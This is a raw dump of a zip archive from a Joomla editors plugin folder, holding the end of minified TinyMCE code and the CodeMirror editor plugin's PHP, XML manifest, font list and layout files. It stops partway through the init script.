n=e,!1}),t.fire("submit",{data:n.toJSON()}))}),t.on("keyup",function(e){t.state.set("value",e.target.value)}))},repaint:function(){var
e=this,t,n,r,i,o=0,a;t=e.getEl().style,n=e._layoutRect,a=e._lastRepaintRect||{};var
s=document;return!e.settings.multiline&&s.all&&(!s.documentMode||s.documentMode<=8)&&(t.lineHeight=n.h-o+"px"),r=e.borderBox,i=r.left+r.right+8,o=r.top+r.bottom+(e.settings.multiline?8:0),n.x!==a.x&&(t.left=n.x+"px",a.x=n.x),n.y!==a.y&&(t.top=n.y+"px",a.y=n.y),n.w!==a.w&&(t.width=n.w-i+"px",a.w=n.w),n.h!==a.h&&(t.height=n.h-o+"px",a.h=n.h),e._lastRepaintRect=a,e.fire("repaint",{},!1),e},renderHtml:function(){var
e=this,r=e.settings,i,o;return
i={id:e._id,hidefocus:"1"},t.each(["rows","spellcheck","maxLength","size","readonly","min","max","step","list","pattern","placeholder","required","multiple"],function(e){i[e]=r[e]}),e.disabled()&&(i.disabled="disabled"),r.subtype&&(i.type=r.subtype),o=n.create(r.multiline?"textarea":"input",i),o.value=e.state.get("value"),o.className=e.classes,o.outerHTML},value:function(e){return
arguments.length?(this.state.set("value",e),this):(this.state.get("rendered")&&this.state.set("value",this.getEl().value),this.state.get("value"))},postRender:function(){var
e=this;e.getEl().value=e.state.get("value"),e._super(),e.$el.on("change",function(t){e.state.set("value",t.target.value),e.fire("change",t)})},bindStates:function(){var
e=this;return
e.state.on("change:value",function(t){e.getEl().value!=t.value&&(e.getEl().value=t.value)}),e.state.on("change:disabled",function(t){e.getEl().disabled=t.value}),e._super()},remove:function(){this.$el.off(),this._super()}})}),r(sn,[],function(){var
e=this||window,t=function(){return
e.tinymce};return"function"==typeof
e.define&&(e.define.amd||e.define("ephox/tinymce",[],t)),"object"==typeof
module&&(module.exports=window.tinymce),{}}),a([l,u,c,d,f,p,m,g,v,y,C,w,E,N,T,A,B,D,L,M,P,O,I,F,j,Y,J,te,le,ue,ce,de,pe,me,ge,Ce,xe,we,Ee,Ne,_e,Se,ke,Te,Re,Ae,Be,De,Le,Me,Pe,Oe,He,Ie,Ue,Ve,at,st,lt,ut,dt,ft,pt,ht,mt,gt,vt,yt,bt,Ct,xt,wt,Et,Nt,_t,St,kt,Tt,Rt,At,Bt,Dt,Mt,Pt,Ot,Ht,Ft,zt,Ut,Wt,Vt,$t,qt,jt,Yt,Xt,Kt,Gt,Jt,Qt,Zt,en,tn,nn,rn,on,an])}(window);PK
��[��OH)H)codemirror/codemirror.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Editors.codemirror
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

// No direct access
defined('_JEXEC') or die;

/**
 * CodeMirror Editor Plugin.
 *
 * @since  1.6
 */
class PlgEditorCodemirror extends JPlugin
{
	/**
	 * Affects constructor behavior. If true, language files will be loaded
automatically.
	 *
	 * @var    boolean
	 * @since  3.1.4
	 */
	protected $autoloadLanguage = true;

	/**
	 * Mapping of syntax to CodeMirror modes.
	 *
	 * @var array
	 */
	protected $modeAlias = array();

	/**
	 * Initialises the Editor.
	 *
	 * @return  void
	 */
	public function onInit()
	{
		static $done = false;

		// Do this only once.
		if ($done)
		{
			return;
		}

		$done = true;

		// Most likely need this later
		$doc = JFactory::getDocument();

		// Codemirror shall have its own group of plugins to modify and extend
its behavior
		JPluginHelper::importPlugin('editors_codemirror');
		$dispatcher	= JEventDispatcher::getInstance();

		// At this point, params can be modified by a plugin before going to the
layout renderer.
		$dispatcher->trigger('onCodeMirrorBeforeInit',
array(&$this->params));

		$displayData = (object) array('params'  =>
$this->params);

		// We need to do output buffering here because layouts may actually
'echo' things which we do not want.
		ob_start();
		JLayoutHelper::render('editors.codemirror.init', $displayData,
__DIR__ . '/layouts');
		ob_end_clean();

		$font = $this->params->get('fontFamily', '0');
		$fontInfo = $this->getFontInfo($font);

		if (isset($fontInfo))
		{
			if (isset($fontInfo->url))
			{
				$doc->addStyleSheet($fontInfo->url);
			}

			if (isset($fontInfo->css))
			{
				$displayData->fontFamily = $fontInfo->css .
'!important';
			}
		}

		// We need to do output buffering here because layouts may actually
'echo' things which we do not want.
		ob_start();
		JLayoutHelper::render('editors.codemirror.styles',
$displayData, __DIR__ . '/layouts');
		ob_end_clean();

		$dispatcher->trigger('onCodeMirrorAfterInit',
array(&$this->params));
	}

	/**
	 * Copy editor content to form field.
	 *
	 * @param   string  $id  The id of the editor field.
	 *
	 * @return  string  Javascript
	 *
	 * @deprecated 4.0 Code executes directly on submit
	 */
	public function onSave($id)
	{
		return sprintf('document.getElementById(%1$s).value =
Joomla.editors.instances[%1$s].getValue();', json_encode((string)
$id));
	}

	/**
	 * Get the editor content.
	 *
	 * @param   string  $id  The id of the editor field.
	 *
	 * @return  string  Javascript
	 *
	 * @deprecated 4.0 Use directly the returned code
	 */
	public function onGetContent($id)
	{
		return sprintf('Joomla.editors.instances[%1$s].getValue();',
json_encode((string) $id));
	}

	/**
	 * Set the editor content.
	 *
	 * @param   string  $id       The id of the editor field.
	 * @param   string  $content  The content to set.
	 *
	 * @return  string  Javascript
	 *
	 * @deprecated 4.0 Use directly the returned code
	 */
	public function onSetContent($id, $content)
	{
		return
sprintf('Joomla.editors.instances[%1$s].setValue(%2$s);',
json_encode((string) $id), json_encode((string) $content));
	}

	/**
	 * Adds the editor specific insert method.
	 *
	 * @return  void
	 *
	 * @deprecated 4.0 Code is loaded in the init script
	 */
	public function onGetInsertMethod()
	{
		static $done = false;

		// Do this only once.
		if ($done)
		{
			return true;
		}

		$done = true;

		JFactory::getDocument()->addScriptDeclaration("
		;function jInsertEditorText(text, editor) {
Joomla.editors.instances[editor].replaceSelection(text); }
		");

		return true;
	}

	/**
	 * Display the editor area.
	 *
	 * @param   string   $name     The control name.
	 * @param   string   $content  The contents of the text area.
	 * @param   string   $width    The width of the text area (px or %).
	 * @param   string   $height   The height of the text area (px or %).
	 * @param   int      $col      The number of columns for the textarea.
	 * @param   int      $row      The number of rows for the textarea.
	 * @param   boolean  $buttons  True and the editor buttons will be
displayed.
	 * @param   string   $id       An optional ID for the textarea (note:
since 1.6). If not supplied the name is used.
	 * @param   string   $asset    Not used.
	 * @param   object   $author   Not used.
	 * @param   array    $params   Associative array of editor parameters.
	 *
	 * @return  string  HTML
	 */
	public function onDisplay(
		$name, $content, $width, $height, $col, $row, $buttons = true, $id =
null, $asset = null, $author = null, $params = array())
	{
		// True if a CodeMirror already has autofocus. Prevent multiple
autofocuses.
		static $autofocused;

		$id = empty($id) ? $name : $id;

		// Must pass the field id to the buttons in this editor.
		$buttons = $this->displayButtons($id, $buttons, $asset, $author);

		// Only add "px" to width and height if they are not given as a
percentage.
		$width .= is_numeric($width) ? 'px' : '';
		$height .= is_numeric($height) ? 'px' : '';

		// Options for the CodeMirror constructor.
		$options = new stdClass;

		// Is field readonly?
		if (!empty($params['readonly']))
		{
			$options->readOnly = 'nocursor';
		}

		// Should we focus on the editor on load?
		if (!$autofocused)
		{
			$options->autofocus = isset($params['autofocus']) ? (bool)
$params['autofocus'] : false;
			$autofocused = $options->autofocus;
		}

		$options->lineWrapping = (boolean)
$this->params->get('lineWrapping', 1);

		// Add styling to the active line.
		$options->styleActiveLine = (boolean)
$this->params->get('activeLine', 1);

		// Do we highlight selection matches?
		if ($this->params->get('selectionMatches', 1))
		{
			$options->highlightSelectionMatches = array(
					'showToken' => true,
					'annotateScrollbar' => true,
				);
		}

		// Do we use line numbering?
		if ($options->lineNumbers = (boolean)
$this->params->get('lineNumbers', 1))
		{
			$options->gutters[] = 'CodeMirror-linenumbers';
		}

		// Do we use code folding?
		if ($options->foldGutter = (boolean)
$this->params->get('codeFolding', 1))
		{
			$options->gutters[] = 'CodeMirror-foldgutter';
		}

		// Do we use a marker gutter?
		if ($options->markerGutter = (boolean)
$this->params->get('markerGutter',
$this->params->get('marker-gutter', 1)))
		{
			$options->gutters[] = 'CodeMirror-markergutter';
		}

		// Load the syntax mode.
		$syntax = !empty($params['syntax'])
			? $params['syntax']
			: $this->params->get('syntax', 'html');
		$options->mode = isset($this->modeAlias[$syntax]) ?
$this->modeAlias[$syntax] : $syntax;

		// Load the theme if specified.
		if ($theme = $this->params->get('theme'))
		{
			$options->theme = $theme;
			JHtml::_('stylesheet',
$this->params->get('basePath',
'media/editors/codemirror/') . 'theme/' . $theme .
'.css', array('version' => 'auto'));
		}

		// Special options for tagged modes (xml/html).
		if (in_array($options->mode, array('xml', 'html',
'php')))
		{
			// Autogenerate closing tags (html/xml only).
			$options->autoCloseTags = (boolean)
$this->params->get('autoCloseTags', 1);

			// Highlight the matching tag when the cursor is in a tag (html/xml
only).
			$options->matchTags = (boolean)
$this->params->get('matchTags', 1);
		}

		// Special options for non-tagged modes.
		if (!in_array($options->mode, array('xml',
'html')))
		{
			// Autogenerate closing brackets.
			$options->autoCloseBrackets = (boolean)
$this->params->get('autoCloseBrackets', 1);

			// Highlight the matching bracket.
			$options->matchBrackets = (boolean)
$this->params->get('matchBrackets', 1);
		}

		$options->scrollbarStyle =
$this->params->get('scrollbarStyle', 'native');

		// KeyMap settings.
		$options->keyMap = $this->params->get('keyMap',
false);

		// Support for older settings.
		if ($options->keyMap === false)
		{
			$options->keyMap =
$this->params->get('vimKeyBinding', 0) ? 'vim' :
'default';
		}

		if ($options->keyMap && $options->keyMap !=
'default')
		{
			$this->loadKeyMap($options->keyMap);
		}

		$displayData = (object) array(
				'options' => $options,
				'params'  => $this->params,
				'name'    => $name,
				'id'      => $id,
				'cols'    => $col,
				'rows'    => $row,
				'content' => $content,
				'buttons' => $buttons
			);

		$dispatcher = JEventDispatcher::getInstance();

		// At this point, displayData can be modified by a plugin before going to
the layout renderer.
		$results = $dispatcher->trigger('onCodeMirrorBeforeDisplay',
array(&$displayData));

		$results[] =
JLayoutHelper::render('editors.codemirror.element', $displayData,
__DIR__ . '/layouts', array('debug' => JDEBUG));

		foreach ($dispatcher->trigger('onCodeMirrorAfterDisplay',
array(&$displayData)) as $result)
		{
			$results[] = $result;
		}

		return implode("\n", $results);
	}

	/**
	 * Displays the editor buttons.
	 *
	 * @param   string  $name     Button name.
	 * @param   mixed   $buttons  [array with button objects | boolean true to
display buttons]
	 * @param   mixed   $asset    Unused.
	 * @param   mixed   $author   Unused.
	 *
	 * @return  string  HTML
	 */
	protected function displayButtons($name, $buttons, $asset, $author)
	{
		$return = '';

		$args = array(
			'name'  => $name,
			'event' => 'onGetInsertMethod'
		);

		$results = (array) $this->update($args);

		if ($results)
		{
			foreach ($results as $result)
			{
				if (is_string($result) && trim($result))
				{
					$return .= $result;
				}
			}
		}

		if (is_array($buttons) || (is_bool($buttons) && $buttons))
		{
			$buttons = $this->_subject->getButtons($name, $buttons, $asset,
$author);

			$return .= JLayoutHelper::render('joomla.editors.buttons',
$buttons);
		}

		return $return;
	}

	/**
	 * Gets font info from the json data file
	 *
	 * @param   string  $font  A key from the $fonts array.
	 *
	 * @return  object
	 */
	protected function getFontInfo($font)
	{
		static $fonts;

		if (!$fonts)
		{
			$fonts = json_decode(file_get_contents(__DIR__ .
'/fonts.json'), true);
		}

		return isset($fonts[$font]) ? (object) $fonts[$font] : null;
	}

	/**
	 * Loads a keyMap file
	 *
	 * @param   string  $keyMap  The name of a keyMap file to load.
	 *
	 * @return  void
	 */
	protected function loadKeyMap($keyMap)
	{
		$basePath = $this->params->get('basePath',
'media/editors/codemirror/');
		$ext = JDEBUG ? '.js' : '.min.js';
		JHtml::_('script', $basePath . 'keymap/' . $keyMap .
$ext, array('version' => 'auto'));
	}
}
PK
��[����)�)codemirror/codemirror.xmlnu�[���<?xml
version="1.0" encoding="utf-8"?>
<extension version="3.2" type="plugin"
group="editors" method="upgrade">
	<name>plg_editors_codemirror</name>
	<version>5.56.0</version>
	<creationDate>28 March 2011</creationDate>
	<author>Marijn Haverbeke</author>
	<authorEmail>marijnh@gmail.com</authorEmail>
	<authorUrl>https://codemirror.net/</authorUrl>
	<copyright>Copyright (C) 2014 - 2017 by Marijn Haverbeke
&lt;marijnh@gmail.com&gt; and others</copyright>
	<license>MIT license: https://codemirror.net/LICENSE</license>
	<description>PLG_CODEMIRROR_XML_DESCRIPTION</description>
	<files>
		<filename
plugin="codemirror">codemirror.php</filename>
		<filename>styles.css</filename>
		<filename>styles.min.css</filename>
		<filename>fonts.json</filename>
		<filename>fonts.php</filename>
	</files>

	<languages>
		<language
tag="en-GB">en-GB.plg_editors_codemirror.ini</language>
		<language
tag="en-GB">en-GB.plg_editors_codemirror.sys.ini</language>
	</languages>

	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="lineNumbers"
					type="radio"
					label="PLG_CODEMIRROR_FIELD_LINENUMBERS_LABEL"
					description="PLG_CODEMIRROR_FIELD_LINENUMBERS_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JON</option>
					<option value="0">JOFF</option>
				</field>

				<field
					name="codeFolding"
					type="radio"
					label="PLG_CODEMIRROR_FIELD_CODEFOLDING_LABEL"
					description="PLG_CODEMIRROR_FIELD_CODEFOLDING_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JON</option>
					<option value="0">JOFF</option>
				</field>

				<field
					name="markerGutter"
					type="radio"
					label="PLG_CODEMIRROR_FIELD_MARKERGUTTER_LABEL"
					description="PLG_CODEMIRROR_FIELD_MARKERGUTTER_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JON</option>
					<option value="0">JOFF</option>
				</field>

				<field
					name="lineWrapping"
					type="radio"
					label="PLG_CODEMIRROR_FIELD_LINEWRAPPING_LABEL"
					description="PLG_CODEMIRROR_FIELD_LINEWRAPPING_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JON</option>
					<option value="0">JOFF</option>
				</field>

				<field
					name="activeLine"
					type="radio"
					label="PLG_CODEMIRROR_FIELD_ACTIVELINE_LABEL"
					description="PLG_CODEMIRROR_FIELD_ACTIVELINE_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JON</option>
					<option value="0">JOFF</option>
				</field>

				<field
					name="selectionMatches"
					type="radio"
					label="PLG_CODEMIRROR_FIELD_SELECTIONMATCHES_LABEL"
					description="PLG_CODEMIRROR_FIELD_SELECTIONMATCHES_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JON</option>
					<option value="0">JOFF</option>
				</field>

				<field
					name="matchTags"
					type="radio"
					label="PLG_CODEMIRROR_FIELD_MATCHTAGS_LABEL"
					description="PLG_CODEMIRROR_FIELD_MATCHTAGS_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JON</option>
					<option value="0">JOFF</option>
				</field>

				<field
					name="matchBrackets"
					type="radio"
					label="PLG_CODEMIRROR_FIELD_MATCHBRACKETS_LABEL"
					description="PLG_CODEMIRROR_FIELD_MATCHBRACKETS_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JON</option>
					<option value="0">JOFF</option>
				</field>

				<field
					name="autoCloseTags"
					type="radio"
					label="PLG_CODEMIRROR_FIELD_AUTOCLOSETAGS_LABEL"
					description="PLG_CODEMIRROR_FIELD_AUTOCLOSETAGS_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JON</option>
					<option value="0">JOFF</option>
				</field>

				<field
					name="autoCloseBrackets"
					type="radio"
					label="PLG_CODEMIRROR_FIELD_AUTOCLOSEBRACKET_LABEL"
					description="PLG_CODEMIRROR_FIELD_AUTOCLOSEBRACKET_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JON</option>
					<option value="0">JOFF</option>
				</field>

				<field
					name="keyMap"
					type="list"
					label="PLG_CODEMIRROR_FIELD_KEYMAP_LABEL"
					description="PLG_CODEMIRROR_FIELD_KEYMAP_DESC"
					default=""
					>
					<option value="">JDEFAULT</option>
					<option
value="emacs">PLG_CODEMIRROR_FIELD_KEYMAP_EMACS</option>
					<option
value="sublime">PLG_CODEMIRROR_FIELD_KEYMAP_SUBLIME</option>
					<option
value="vim">PLG_CODEMIRROR_FIELD_KEYMAP_VIM</option>
				</field>

				<field
					name="fullScreen"
					type="list"
					label="PLG_CODEMIRROR_FIELD_FULLSCREEN_LABEL"
					description="PLG_CODEMIRROR_FIELD_FULLSCREEN_DESC"
					default="F10"
					>
					<option value="F1">F1</option>
					<option value="F2">F2</option>
					<option value="F3">F3</option>
					<option value="F4">F4</option>
					<option value="F5">F5</option>
					<option value="F6">F6</option>
					<option value="F7">F7</option>
					<option value="F8">F8</option>
					<option value="F9">F9</option>
					<option value="F10">F10</option>
					<option value="F11">F11</option>
					<option value="F12">F12</option>
				</field>

				<field
					name="fullScreenMod"
					type="checkboxes"
					label="PLG_CODEMIRROR_FIELD_FULLSCREEN_MOD_LABEL"
					description="PLG_CODEMIRROR_FIELD_FULLSCREEN_MOD_DESC"
					>
					<option
value="Shift">PLG_CODEMIRROR_FIELD_VALUE_FULLSCREEN_MOD_SHIFT</option>
					<option
value="Cmd">PLG_CODEMIRROR_FIELD_VALUE_FULLSCREEN_MOD_CMD</option>
					<option
value="Ctrl">PLG_CODEMIRROR_FIELD_VALUE_FULLSCREEN_MOD_CTRL</option>
					<option
value="Alt">PLG_CODEMIRROR_FIELD_VALUE_FULLSCREEN_MOD_ALT</option>
				</field>

				<field
					name="basePath"
					type="hidden"
					default="media/editors/codemirror/"
				/>

				<field
					name="modePath"
					type="hidden"
					default="media/editors/codemirror/mode/%N/%N"
				/>
			</fieldset>

			<fieldset name="appearance"
label="PLG_CODEMIRROR_FIELDSET_APPEARANCE_OPTIONS_LABEL"
addfieldpath="plugins/editors/codemirror">
				<field
					name="theme"
					type="filelist"
					label="PLG_CODEMIRROR_FIELD_THEME_LABEL"
					description="PLG_CODEMIRROR_FIELD_THEME_DESC"
					default=""
					filter="\.css$"
					stripext="true"
					hide_none="true"
					hide_default="false"
					directory="media/editors/codemirror/theme"
				/>

				<field
					name="activeLineColor"
					type="color"
					label="PLG_CODEMIRROR_FIELD_ACTIVELINE_COLOR_LABEL"
					description="PLG_CODEMIRROR_FIELD_ACTIVELINE_COLOR_DESC"
					default="#a4c2eb"
					filter="color"
				/>

				<field
					name="highlightMatchColor"
					type="color"
					label="PLG_CODEMIRROR_FIELD_HIGHLIGHT_MATCH_COLOR_LABEL"
					description="PLG_CODEMIRROR_FIELD_HIGHLIGHT_MATCH_COLOR_DESC"
					default="#fa542f"
					filter="color"
				/>

				<field
					name="fontFamily"
					type="fonts"
					label="PLG_CODEMIRROR_FIELD_FONT_FAMILY_LABEL"
					description="PLG_CODEMIRROR_FIELD_FONT_FAMILY_DESC"
					default="0"
					>
					<option
value="0">PLG_CODEMIRROR_FIELD_VALUE_FONT_FAMILY_DEFAULT</option>
				</field>

				<field
					name="fontSize"
					type="integer"
					label="PLG_CODEMIRROR_FIELD_FONT_SIZE_LABEL"
					description="PLG_CODEMIRROR_FIELD_FONT_SIZE_DESC"
					first="6"
					last="16"
					step="1"
					default="13"
					filter="integer"
				/>

				<field
					name="lineHeight"
					type="list"
					label="PLG_CODEMIRROR_FIELD_LINE_HEIGHT_LABEL"
					description="PLG_CODEMIRROR_FIELD_LINE_HEIGHT_DESC"
					default="1.2"
					filter="float"
					>
					<option value="1">1</option>
					<option value="1.1">1.1</option>
					<option value="1.2">1.2</option>
					<option value="1.3">1.3</option>
					<option value="1.4">1.4</option>
					<option value="1.5">1.5</option>
					<option value="1.6">1.6</option>
					<option value="1.7">1.7</option>
					<option value="1.8">1.8</option>
					<option value="1.9">1.9</option>
					<option value="2">2</option>
				</field>

				<field
					name="scrollbarStyle"
					type="radio"
					label="PLG_CODEMIRROR_FIELD_VALUE_SCROLLBARSTYLE_LABEL"
					description="PLG_CODEMIRROR_FIELD_VALUE_SCROLLBARSTYLE_DESC"
					class="btn-group btn-group-yesno"
					default="native"
					>
					<option
value="native">PLG_CODEMIRROR_FIELD_VALUE_SCROLLBARSTYLE_DEFAULT</option>
					<option
value="simple">PLG_CODEMIRROR_FIELD_VALUE_SCROLLBARSTYLE_SIMPLE</option>
					<option
value="overlay">PLG_CODEMIRROR_FIELD_VALUE_SCROLLBARSTYLE_OVERLAY</option>
				</field>

				<field
					name="preview"
					type="editor"
					label="PLG_CODEMIRROR_FIELD_PREVIEW_LABEL"
					description="PLG_CODEMIRROR_FIELD_PREVIEW_DESC"
					editor="codemirror"
					filter="unset"
					buttons="false"
					>
					<default>
<![CDATA[
<script type="text/javascript">
	jQuery(function ($) {
		$('.hello').html('Hello World');
	});
</script>

<style type="text/css">
	h1 {
		background-clip: border-box;
		background-color: #cacaff;
		background-image: linear-gradient(45deg, transparent 0px, transparent
30px, #ababff 30px, #ababff 60px, transparent 60px);
		background-repeat: repeat-x;
		background-size: 90px 100%;
		border: 1px solid #8989ff;
		border-radius: 10px;
		color: #333;
		padding: 0 15px;
	}
</style>

<div>
	<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Aliquam
a ornare lectus, quis semper urna. Vestibulum ante ipsum primis in faucibus
orci luctus et ultrices posuere cubilia Curae; Vivamus interdum metus id
elit rutrum sollicitudin. Pellentesque habitant morbi tristique senectus et
netus et malesuada fames ac turpis egestas. Aliquam in fermentum risus, id
facilisis nulla. Phasellus gravida erat sed ullamcorper accumsan. Donec
blandit sem eget sem congue, a varius sapien semper.</p>
	<p>Integer euismod tempor convallis. Nullam porttitor et ex ac
fringilla. Quisque facilisis est ac erat condimentum malesuada. Aenean
commodo quam odio, tincidunt ultricies mauris suscipit et.</p>

	<ul>
		<li>Vivamus ultrices ligula a odio lacinia pellentesque.</li>
		<li>Curabitur iaculis arcu pharetra, mollis turpis id, commodo
erat.</li>
		<li>Etiam consequat enim quis faucibus interdum.</li>
		<li>Morbi in ipsum pulvinar, eleifend lorem sit amet, euismod
magna.</li>
		<li>Donec consectetur lacus vitae eros euismod porta.</li>
	</ul>
</div>
]]>
					</default>
				</field>

			</fieldset>
		</fields>
	</config>
</extension>
PK
��[���--codemirror/fonts.jsonnu�[���{
	"anonymous_pro": {
		"name": "Anonymous Pro",
		"url":
"https://fonts.googleapis.com/css?family=Anonymous+Pro",
		"css": "'Anonymous Pro', monospace"
	},
	"cousine": {
		"name": "Cousine",
		"url":
"https://fonts.googleapis.com/css?family=Cousine",
		"css": "Cousine, monospace"
	},
	"cutive_mono": {
		"name": "Cutive Mono",
		"url":
"https://fonts.googleapis.com/css?family=Cutive+Mono",
		"css": "'Cutive Mono', monospace"
	},
	"droid_sans_mono": {
		"name": "Droid Sans Mono",
		"url":
"https://fonts.googleapis.com/css?family=Droid+Sans+Mono",
		"css": "'Droid Sans Mono', monospace"
	},
	"fira_mono": {
		"name": "Fira Mono",
		"url":
"https://fonts.googleapis.com/css?family=Fira+Mono",
		"css": "'Fira Mono', monospace"
	},
	"ibm_plex_mono": {
		"name": "IBM Plex Mono",
		"url":
"https://fonts.googleapis.com/css?family=IBM+Plex+Mono",
		"css": "'IBM Plex Mono', monospace;"
	},
	"inconsolata": {
		"name": "Inconsolata",
		"url":
"https://fonts.googleapis.com/css?family=Inconsolata",
		"css": "Inconsolata, monospace"
	},
	"lekton": {
		"name": "Lekton",
		"url":
"https://fonts.googleapis.com/css?family=Lekton",
		"css": "Lekton, monospace"
	},
	"nanum_gothic_coding": {
		"name": "Nanum Gothic Coding",
		"url":
"https://fonts.googleapis.com/css?family=Nanum+Gothic+Coding",
		"css": "'Nanum Gothic Coding', monospace"
	},
	"nova_mono": {
		"name": "Nova Mono",
		"url":
"https://fonts.googleapis.com/css?family=Nova+Mono",
		"css": "'Nova Mono', monospace"
	},
	"overpass_mono": {
		"name": "Overpass Mono",
		"url":
"https://fonts.googleapis.com/css?family=Overpass+Mono",
		"css": "'Overpass Mono', monospace"
	},
	"oxygen_mono": {
		"name": "Oxygen Mono",
		"url":
"https://fonts.googleapis.com/css?family=Oxygen+Mono",
		"css": "'Oxygen Mono', monospace"
	},
	"press_start_2p": {
		"name": "Press Start 2P",
		"url":
"https://fonts.googleapis.com/css?family=Press+Start+2P",
		"css": "'Press Start 2P', monospace"
	},
	"pt_mono": {
		"name": "PT Mono",
		"url":
"https://fonts.googleapis.com/css?family=PT+Mono",
		"css": "'PT Mono', monospace"
	},
	"roboto_mono": {
		"name": "Roboto Mono",
		"url":
"https://fonts.googleapis.com/css?family=Roboto+Mono",
		"css": "'Roboto Mono', monospace"
	},
	"rubik_mono_one": {
		"name": "Rubik Mono One",
		"url":
"https://fonts.googleapis.com/css?family=Rubik+Mono+One",
		"css": "'Rubik Mono One', monospace"
	},
	"share_tech_mono": {
		"name": "Share Tech Mono",
		"url":
"https://fonts.googleapis.com/css?family=Share+Tech+Mono",
		"css": "'Share Tech Mono', monospace"
	},
	"source_code_pro": {
		"name": "Source Code Pro",
		"url":
"https://fonts.googleapis.com/css?family=Source+Code+Pro",
		"css": "'Source Code Pro', monospace"
	},
	"space_mono": {
		"name": "Space Mono",
		"url":
"https://fonts.googleapis.com/css?family=Space+Mono",
		"css": "'Space Mono', monospace"
	},
	"ubuntu_mono": {
		"name": "Ubuntu Mono",
		"url":
"https://fonts.googleapis.com/css?family=Ubuntu+Mono",
		"css": "'Ubuntu Mono', monospace"
	},
	"vt323": {
		"name": "VT323",
		"url":
"https://fonts.googleapis.com/css?family=VT323",
		"css": "'VT323', monospace"
	}
}
PK
��[趈!QQcodemirror/fonts.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Editors.codemirror
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

// No direct access
defined('_JEXEC') or die;

JFormHelper::loadFieldClass('list');

/**
 * Supports an HTML select list of fonts
 *
 * @package     Joomla.Plugin
 * @subpackage  Editors.codemirror
 * @since       3.4
 */
class JFormFieldFonts extends JFormFieldList
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 * @since  3.4
	 */
	protected $type = 'Fonts';

	/**
	 * Method to get the list of fonts field options.
	 *
	 * @return  array  The field option objects.
	 *
	 * @since   3.4
	 */
	protected function getOptions()
	{
		$fonts = json_decode(file_get_contents(__DIR__ .
'/fonts.json'));
		$options = array();

		foreach ($fonts as $key => $info)
		{
			$options[] = JHtml::_('select.option', $key, $info->name);
		}

		// Merge any additional options in the XML definition.
		return array_merge(parent::getOptions(), $options);
	}
}
PK
��[�r771codemirror/layouts/editors/codemirror/element.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Editors.codemirror
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

// No direct access
defined('_JEXEC') or die;

$options  = $displayData->options;
$params   = $displayData->params;
$name     = $displayData->name;
$id       = $displayData->id;
$cols     = $displayData->cols;
$rows     = $displayData->rows;
$content  = $displayData->content;
$buttons  = $displayData->buttons;
$modifier = $params->get('fullScreenMod', array()) ?
implode(' + ', $params->get('fullScreenMod',
array())) . ' + ' : '';

?>

<p class="label">
    <?php echo
JText::sprintf('PLG_CODEMIRROR_TOGGLE_FULL_SCREEN', $modifier,
$params->get('fullScreen', 'F10')); ?>
</p>

<?php
	echo '<textarea class="codemirror-source"
name="', $name,
		'" id="', $id,
		'" cols="', $cols,
		'" rows="', $rows,
		'" data-options="',
htmlspecialchars(json_encode($options)),
		'">', $content, '</textarea>';
?>

<?php echo $buttons; ?>
PK
��[*4|B��.codemirror/layouts/editors/codemirror/init.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Editors.codemirror
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

// No direct access
defined('_JEXEC') or die;

$params   = $displayData->params;
$basePath = $params->get('basePath',
'media/editors/codemirror/');
$modePath = $params->get('modePath',
'media/editors/codemirror/mode/%N/%N');
$extJS    = JDEBUG ? '.js' : '.min.js';
$extCSS   = JDEBUG ? '.css' : '.min.css';

JHtml::_('script', $basePath . 'lib/codemirror' .
$extJS, array('version' => 'auto'));
JHtml::_('script', $basePath . 'lib/addons' . $extJS,
array('version' => 'auto'));
JHtml::_('stylesheet', $basePath . 'lib/codemirror' .
$extCSS, array('version' => 'auto'));
JHtml::_('stylesheet', $basePath . 'lib/addons' .
$extCSS, array('version' => 'auto'));

$fskeys          = $params->get('fullScreenMod', array());
$fskeys[]        = $params->get('fullScreen',
'F10');
$fullScreenCombo = implode('-', $fskeys);
$fsCombo         = json_encode($fullScreenCombo);
$modPath         = json_encode(JUri::root(true) . '/' . $modePath
. $extJS);
JFactory::getDocument()->addScriptDeclaration(
<<<JS
		;(function (cm, $) {
			cm.commands.toggleFullScreen = function (cm) {
				cm.setOption('fullScreen',
!cm.getOption('fullScreen'));
			};
			cm.commands.closeFullScreen = function (cm) {
				cm.getOption('fullScreen') &&
cm.setOption('fullScreen', false);
			};

			cm.keyMap.default['Ctrl-Q'] = 'toggleFullScreen';
			cm.keyMap.default[$fsCombo] = 'toggleFullScreen';
			cm.keyMap.default['Esc'] = 'closeFullScreen';
			// For mode autoloading.
			cm.modeURL = $modPath;
			// Fire this function any time an editor is created.
			cm.defineInitHook(function (editor)
			{
				// Try to set up the mode
				var mode = cm.findModeByMIME(editor.options.mode || '') ||
